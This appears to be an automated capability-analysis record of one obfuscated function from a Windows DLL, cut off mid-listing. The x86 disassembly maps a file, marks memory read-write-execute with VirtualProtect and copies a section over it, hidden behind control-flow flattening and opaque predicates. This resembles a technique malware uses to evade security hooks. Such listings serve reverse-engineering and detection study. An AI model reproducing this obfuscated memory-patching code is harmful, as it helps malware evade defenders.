Function at 0x10001710
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0xa8
mov eax, dword [ebp + 8]
mov dword [ebp - 0xac], eax
mov eax, dword [0x1006d400]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
mov edx, ecx
add edx, 0x3cbb12f6
sub edx, 1
sub edx, 0x3cbb12f6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xa2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xa1], al
mov dword [ebp - 0xa8], 0x489ecf93
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xb0], eax
sub eax, 0x805fb44c
je 0x10004c08
jmp 0x10001793
mov eax, dword [ebp - 0xb0]
sub eax, 0x81c4b303
je 0x1000498f
jmp 0x100017a9
mov eax, dword [ebp - 0xb0]
sub eax, 0x8333336c
je 0x1000362b
jmp 0x100017bf
mov eax, dword [ebp - 0xb0]
sub eax, 0x8452cd19
je 0x10004e9d
jmp 0x100017d5
mov eax, dword [ebp - 0xb0]
sub eax, 0x887c1de4
je 0x10004dec
jmp 0x100017eb
mov eax, dword [ebp - 0xb0]
sub eax, 0x8896dabf
je 0x10002f3e
jmp 0x10001801
mov eax, dword [ebp - 0xb0]
sub eax, 0x8b579892
je 0x10004718
jmp 0x10001817
mov eax, dword [ebp - 0xb0]
sub eax, 0x8eeb66a4
je 0x10003265
jmp 0x1000182d
mov eax, dword [ebp - 0xb0]
sub eax, 0x904a848f
je 0x10002d67
jmp 0x10001843
mov eax, dword [ebp - 0xb0]
sub eax, 0x90ffc7a2
je 0x100036dc
jmp 0x10001859
mov eax, dword [ebp - 0xb0]
sub eax, 0x93e1fbd3
je 0x1000262a
jmp 0x1000186f
mov eax, dword [ebp - 0xb0]
sub eax, 0x959cf1e3
je 0x10003bc5
jmp 0x10001885
mov eax, dword [ebp - 0xb0]
sub eax, 0x9643849d
je 0x10003322
jmp 0x1000189b
mov eax, dword [ebp - 0xb0]
sub eax, 0x965f5221
je 0x10003c82
jmp 0x100018b1
mov eax, dword [ebp - 0xb0]
sub eax, 0x9882022f
je 0x100045ca
jmp 0x100018c7
mov eax, dword [ebp - 0xb0]
sub eax, 0x994f8873
je 0x100046fa
jmp 0x100018dd
mov eax, dword [ebp - 0xb0]
sub eax, 0x9abf503b
je 0x10004d42
jmp 0x100018f3
mov eax, dword [ebp - 0xb0]
sub eax, 0x9c195d56
je 0x10004d51
jmp 0x10001909
mov eax, dword [ebp - 0xb0]
sub eax, 0x9ff1bb57
je 0x10002d16
jmp 0x1000191f
mov eax, dword [ebp - 0xb0]
sub eax, 0xa5c9174c
je 0x10003fed
jmp 0x10001935
mov eax, dword [ebp - 0xb0]
sub eax, 0xa68239da
je 0x10002e70
jmp 0x1000194b
mov eax, dword [ebp - 0xb0]
sub eax, 0xa8e7ab91
je 0x100046e5
jmp 0x10001961
mov eax, dword [ebp - 0xb0]
sub eax, 0xa9cbbac7
je 0x1000419b
jmp 0x10001977
mov eax, dword [ebp - 0xb0]
sub eax, 0xaf0e0783
je 0x1000487a
jmp 0x1000198d
mov eax, dword [ebp - 0xb0]
sub eax, 0xafee1a6a
je 0x100041e4
jmp 0x100019a3
mov eax, dword [ebp - 0xb0]
sub eax, 0xb4c08492
je 0x100040a3
jmp 0x100019b9
mov eax, dword [ebp - 0xb0]
sub eax, 0xb94a97a4
je 0x100043d9
jmp 0x100019cf
mov eax, dword [ebp - 0xb0]
sub eax, 0xbbb7ca06
je 0x100042b2
jmp 0x100019e5
mov eax, dword [ebp - 0xb0]
sub eax, 0xbd58a824
je 0x10003a2a
jmp 0x100019fb
mov eax, dword [ebp - 0xb0]
sub eax, 0xc08adfab
je 0x10002abc
jmp 0x10001a11
mov eax, dword [ebp - 0xb0]
sub eax, 0xc2e0661d
je 0x10003214
jmp 0x10001a27
mov eax, dword [ebp - 0xb0]
sub eax, 0xc2e1f3a4
je 0x10004e88
jmp 0x10001a3d
mov eax, dword [ebp - 0xb0]
sub eax, 0xc736e534
je 0x10004a06
jmp 0x10001a53
mov eax, dword [ebp - 0xb0]
sub eax, 0xc7e77c99
je 0x10003e35
jmp 0x10001a69
mov eax, dword [ebp - 0xb0]
sub eax, 0xc9280c78
je 0x10003a51
jmp 0x10001a7f
mov eax, dword [ebp - 0xb0]
sub eax, 0xc9cc0bad
je 0x10003053
jmp 0x10001a95
mov eax, dword [ebp - 0xb0]
sub eax, 0xc9e022fa
je 0x10004d15
jmp 0x10001aab
mov eax, dword [ebp - 0xb0]
sub eax, 0xcddb0074
je 0x1000472d
jmp 0x10001ac1
mov eax, dword [ebp - 0xb0]
sub eax, 0xce699d1a
je 0x10003879
jmp 0x10001ad7
mov eax, dword [ebp - 0xb0]
sub eax, 0xcf7da02c
je 0x10003d86
jmp 0x10001aed
mov eax, dword [ebp - 0xb0]
sub eax, 0xd4e597e3
je 0x100042a3
jmp 0x10001b03
mov eax, dword [ebp - 0xb0]
sub eax, 0xd95528e6
je 0x10002a1f
jmp 0x10001b19
mov eax, dword [ebp - 0xb0]
sub eax, 0xd9664065
je 0x10002e52
jmp 0x10001b2f
mov eax, dword [ebp - 0xb0]
sub eax, 0xdba1060e
je 0x10003c14
jmp 0x10001b45
mov eax, dword [ebp - 0xb0]
sub eax, 0xdbd121ef
je 0x10002ba9
jmp 0x10001b5b
mov eax, dword [ebp - 0xb0]
sub eax, 0xe06c17c4
je 0x100028c1
jmp 0x10001b71
mov eax, dword [ebp - 0xb0]
sub eax, 0xe2d73500
je 0x10004d60
jmp 0x10001b87
mov eax, dword [ebp - 0xb0]
sub eax, 0xe3120c00
je 0x10004c26
jmp 0x10001b9d
mov eax, dword [ebp - 0xb0]
sub eax, 0xe48b78ef
je 0x1000479b
jmp 0x10001bb3
mov eax, dword [ebp - 0xb0]
sub eax, 0xe55a435a
je 0x10004d7e
jmp 0x10001bc9
mov eax, dword [ebp - 0xb0]
sub eax, 0xe7858e2e
je 0x10003564
jmp 0x10001bdf
mov eax, dword [ebp - 0xb0]
sub eax, 0xe78b083f
je 0x10004b05
jmp 0x10001bf5
mov eax, dword [ebp - 0xb0]
sub eax, 0xe95fa87a
je 0x1000316f
jmp 0x10001c0b
mov eax, dword [ebp - 0xb0]
sub eax, 0xeb8e5cd3
je 0x1000440b
jmp 0x10001c21
mov eax, dword [ebp - 0xb0]
sub eax, 0xecc211f5
je 0x100039a0
jmp 0x10001c37
mov eax, dword [ebp - 0xb0]
sub eax, 0xedf29bfd
je 0x10004946
jmp 0x10001c4d
mov eax, dword [ebp - 0xb0]
sub eax, 0xee6cad59
je 0x100026e9
jmp 0x10001c63
mov eax, dword [ebp - 0xb0]
sub eax, 0xf21d9f5b
je 0x10003062
jmp 0x10001c79
mov eax, dword [ebp - 0xb0]
sub eax, 0xf3edc4a5
je 0x100031c3
jmp 0x10001c8f
mov eax, dword [ebp - 0xb0]
sub eax, 0xf5b6ad8a
je 0x10004143
jmp 0x10001ca5
mov eax, dword [ebp - 0xb0]
sub eax, 0xf68a9c57
je 0x10004937
jmp 0x10001cbb
mov eax, dword [ebp - 0xb0]
sub eax, 0xf6c1df6c
je 0x10004235
jmp 0x10001cd1
mov eax, dword [ebp - 0xb0]
sub eax, 0xf7739715
je 0x10003b06
jmp 0x10001ce7
mov eax, dword [ebp - 0xb0]
sub eax, 0xf827f64a
je 0x1000488f
jmp 0x10001cfd
mov eax, dword [ebp - 0xb0]
sub eax, 0xf8702082
je 0x100045aa
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x805fb44c
mov ecx, 0x43f9d2f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x5b9f5467
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x4df80a9
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x1fce6ee7
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0x8ca55e33
sub edx, 1
add edx, 0x8ca55e33
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x14601d27
mov ecx, 0xc8a2cb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
mov edx, ecx
sub edx, 0xc23e2c42
sub edx, 1
add edx, 0xc23e2c42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4d2c184d
mov ecx, 0x56a83b32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0xad4dbae1
sub edx, 1
add edx, 0xad4dbae1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x31743bbe
mov ecx, 0x904a848f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x600a0409
jmp 0x10004eda
mov dl, byte [ebp - 0x55]
mov eax, 0x8896dabf
mov ecx, 0xa68239da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4286e8b0
mov ecx, 0xfb453f16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xa8], 0x23cde5ed
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xf21d9f5b
jmp 0x10004eda
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov dword [ebp - 0xa8], 0x3e6cbdbf
jmp 0x10004eda
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8e7ab91
mov ecx, 0xf3edc4a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
add edx, 0x560fffda
sub edx, 1
sub edx, 0x560fffda
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9e022fa
mov ecx, 0xc2e0661d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
add edx, 0x6fa9fd5e
sub edx, 1
sub edx, 0x6fa9fd5e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9e022fa
mov ecx, 0x8eeb66a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x2634eaa4
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1f97c26c
mov ecx, 0x5d292180
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
mov edx, ecx
sub edx, 0xfe33b205
sub edx, 1
add edx, 0xfe33b205
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x36abcc60
mov ecx, 0x7177607c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x44]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov word [eax], 0
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcddb0074
mov ecx, 0x90ffc7a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x727245d7
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
add edx, 0x479b691e
sub edx, 1
sub edx, 0x479b691e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c195d56
mov ecx, 0x4577ca46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x74]
movzx eax, word [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x3c], eax
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
mov edx, ecx
sub edx, 0x46305142
sub edx, 1
add edx, 0x46305142
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaf0e0783
mov ecx, 0xbd58a824
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xf84b542
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0x4d542d89
sub edx, 1
add edx, 0x4d542d89
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf827f64a
mov ecx, 0x2a15e53e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe2d73500
mov ecx, 0xfb822d65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dl, byte [ebp - 0x31]
mov eax, 0x35ecd768
mov ecx, 0x7035813
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2457bb55
mov ecx, 0x965f5221
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0x1aaa69d9
sub edx, 1
add edx, 0x1aaa69d9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2457bb55
mov ecx, 0x556b362d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x6b219e42
jmp 0x10004eda
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x90]
mov edx, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
sub edx, 0xa79fe0a9
add edx, eax
add edx, 0xa79fe0a9
mov eax, dword [ebp - 0x6c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x68]
mov byte [eax], cl
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
add eax, 0xa19ba9ab
add eax, ecx
sub eax, 0xa19ba9ab
mov dword [ebp - 0x20], eax
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ced64e5
mov ecx, 0x6a057def
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10012650
add esp, 0xc
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xc]
sub eax, 0x24376325
add eax, ecx
add eax, 0x24376325
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xa8], 0x1c90b281
jmp 0x10004eda
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x68]
mov byte [eax], cl
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a331df
mov ecx, 0xf5b6ad8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x4a39bbb7
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc6a9308
mov ecx, 0xafee1a6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
add edx, 0x48c5190c
sub edx, 1
sub edx, 0x48c5190c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc6a9308
mov ecx, 0xf6c1df6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44e47980
mov ecx, 0xd4e597e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xbbb7ca06
jmp 0x10004eda
mov eax, dword [ebp - 0x74]
mov ax, word [eax]
mov word [ebp - 0xe], ax
mov dword [ebp - 0xa8], 0x6241e606
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xc77492e
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x639514e4
mov ecx, 0x1797a686
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x887c1de4
mov ecx, 0x3987666b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xa8], 0xe95fa87a
jmp 0x10004eda
mov eax, dword [ebp - 0x48]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa8], 0x4236ca5d
jmp 0x10004eda
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xa8], 0x746a3097
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4c3d874a
mov ecx, 0xe48b78ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x44]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xab2dcf39
add ecx, eax
sub ecx, 0xab2dcf39
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov word [eax], 0
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0xe2fafb05
sub edx, 1
add edx, 0xe2fafb05
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4c3d874a
mov ecx, 0x6db32a15
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xa8], 0xecc211f5
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
mov edx, eax
sub edx, 0x5ba70ca6
sub edx, 1
add edx, 0x5ba70ca6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2e1f3a4
mov ecx, 0x4c72d4c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x2a15e53e
jmp 0x10004eda
mov eax, dword [0x1006e748]
mov ecx, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8452cd19
mov ecx, 0x81c4b303
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
